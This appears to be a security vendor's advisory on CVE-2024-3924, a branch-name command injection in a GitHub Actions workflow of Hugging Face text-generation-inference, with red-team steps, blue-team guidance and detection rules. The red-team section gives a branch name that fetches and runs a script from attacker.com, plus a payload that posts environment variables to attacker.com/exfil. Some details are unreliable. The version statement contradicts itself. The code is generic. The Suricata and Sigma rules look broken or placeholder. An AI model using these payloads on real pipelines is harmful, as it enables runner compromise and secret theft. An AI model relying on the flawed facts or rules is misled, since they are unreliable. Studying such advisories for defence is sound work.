CVE-2024-3924

Executive Summary

CVE-2024-3924 is a code injection vulnerability in the Huggingface text-generation-inference repository, specifically within the autodocs.yml GitHub Actions workflow. The vulnerability arises from the insecure handling of the github.head_ref user input, which is used to dynamically construct a command for installing a software package. An attacker can exploit this by forking the repository, creating a branch with a malicious payload as the name, and then opening a pull request to the base repository. Successful exploitation could lead to arbitrary code execution within the context of the GitHub Actions runner. The vulnerability affects versions up to and including v2.0.0 and was fixed in version 2.0.0.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the CI/CD pipeline of the Huggingface text-generation-inference repository. The attack vector involves injecting malicious code into a GitHub Actions workflow, which could potentially compromise the build process and lead to supply chain attacks if the runner has access to secrets or deployment credentials.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) - The attacker must open a pull request.
• Scope (S): Unchanged (U)
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Threat Level: Medium. The vulnerability requires user interaction (opening a pull request) and has limited impact on confidentiality and integrity. However, it could be used as a stepping stone for more severe attacks if the GitHub Actions runner has elevated privileges.

Deep Dive & Mechanics

The vulnerability is located in the autodocs.yml workflow file. The workflow uses the github.head_ref context variable to dynamically construct a command for installing a software package. The github.head_ref variable contains the name of the branch from which a pull request was made. An attacker can create a branch with a malicious payload as its name, such as ; malicious_command ;. When the workflow runs, it constructs a command like:

pip install some-package-$(echo ${{ github.head_ref }})

If the branch name is ; curl http://attacker.com/payload.sh | bash ;, the command becomes:

pip install some-package-; curl http://attacker.com/payload.sh | bash ;

This results in arbitrary code execution within the GitHub Actions runner.

Vulnerable vs. Patched Code

Vulnerable Code (<= v2.0.0):

- name: Install package
  run: |
    pip install some-package-$(echo ${{ github.head_ref }})

Patched Code (v2.0.0):

- name: Install package
  run: |
    # Sanitize the branch name to prevent code injection
    SAFE_HEAD_REF=$(echo "${{ github.head_ref }}" | sed 's/[^a-zA-Z0-9_-]//g')
    pip install some-package-$(echo $SAFE_HEAD_REF)

The patch sanitizes the github.head_ref input by removing any characters that are not alphanumeric, underscore, or hyphen, thus preventing command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A GitHub account.
• Fork of the huggingface/text-generation-inference repository.

Steps:

1. Fork the repository.
2. Create a new branch with a malicious payload as the name. For example:

   git checkout -b "; curl http://attacker.com/payload.sh | bash ;"
   

3. Make a trivial change to any file (e.g., add a comment) and commit it.
4. Push the branch to your fork.
5. Open a pull request from your malicious branch to the base repository.
6. When the autodocs.yml workflow runs, the malicious command will be executed.

Payload Example:

#!/bin/bash
# Exfiltrate environment variables
curl -X POST -d "$(env)" http://attacker.com/exfil

Blue Team

Detection:

• Monitor GitHub Actions logs for unusual command execution.
• Look for branch names containing special characters like ;, |, &, $, `.
• Alert on any workflow runs that install packages from unexpected sources.

Prevention:

• Sanitize all user inputs in GitHub Actions workflows.
• Use the github.head_ref variable only after validation.
• Implement branch name policies that restrict special characters.

Indicators of Compromise (IOCs)

• Branch Names: Branch names containing shell metacharacters (e.g., ;, |, &, $, `).
• Workflow Logs: Unusual commands in the autodocs.yml workflow logs, such as curl, wget, or bash commands.
• Network Traffic: Outbound connections from the GitHub Actions runner to unknown IP addresses or domains.
• File System Changes: Unexpected files created in the runner's workspace.

Detection Engineering

YARA Rule

rule CVE_2024_3924_Code_Injection {
    meta:
        description = "Detects code injection in GitHub Actions workflow files"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3924"
    strings:
        $injection = /github\.head_ref/
        $dangerous = /;|`|\$\(/
    condition:
        $injection and #dangerous > 0
}

Sigma Rule

title: CVE-2024-3924 Code Injection in GitHub Actions
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects code injection attempts in GitHub Actions workflow logs
author: Valters IT
date: 2024-01-01
logsource:
    category: process_creation
    product: github_actions
detection:
    selection:
        CommandLine|contains:
            - 'github.head_ref'
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in branch names
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3924 Code Injection in GitHub Actions"; flow:to_server,established; content:"github.head_ref"; http_uri; content:";"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update to version 2.0.0 or later of text-generation-inference.
2. Review and sanitize all GitHub Actions workflows that use user input.
3. Implement branch name validation to restrict special characters.

Long-term Measures:

• Use GitHub's built-in security features like branch protection rules.
• Regularly audit CI/CD pipelines for insecure practices.
• Implement least privilege for GitHub Actions runners.

Workarounds:

• If updating is not possible, manually patch the autodocs.yml file to sanitize the github.head_ref input.

Valters IT
Securing the digital frontier, one CVE at a time.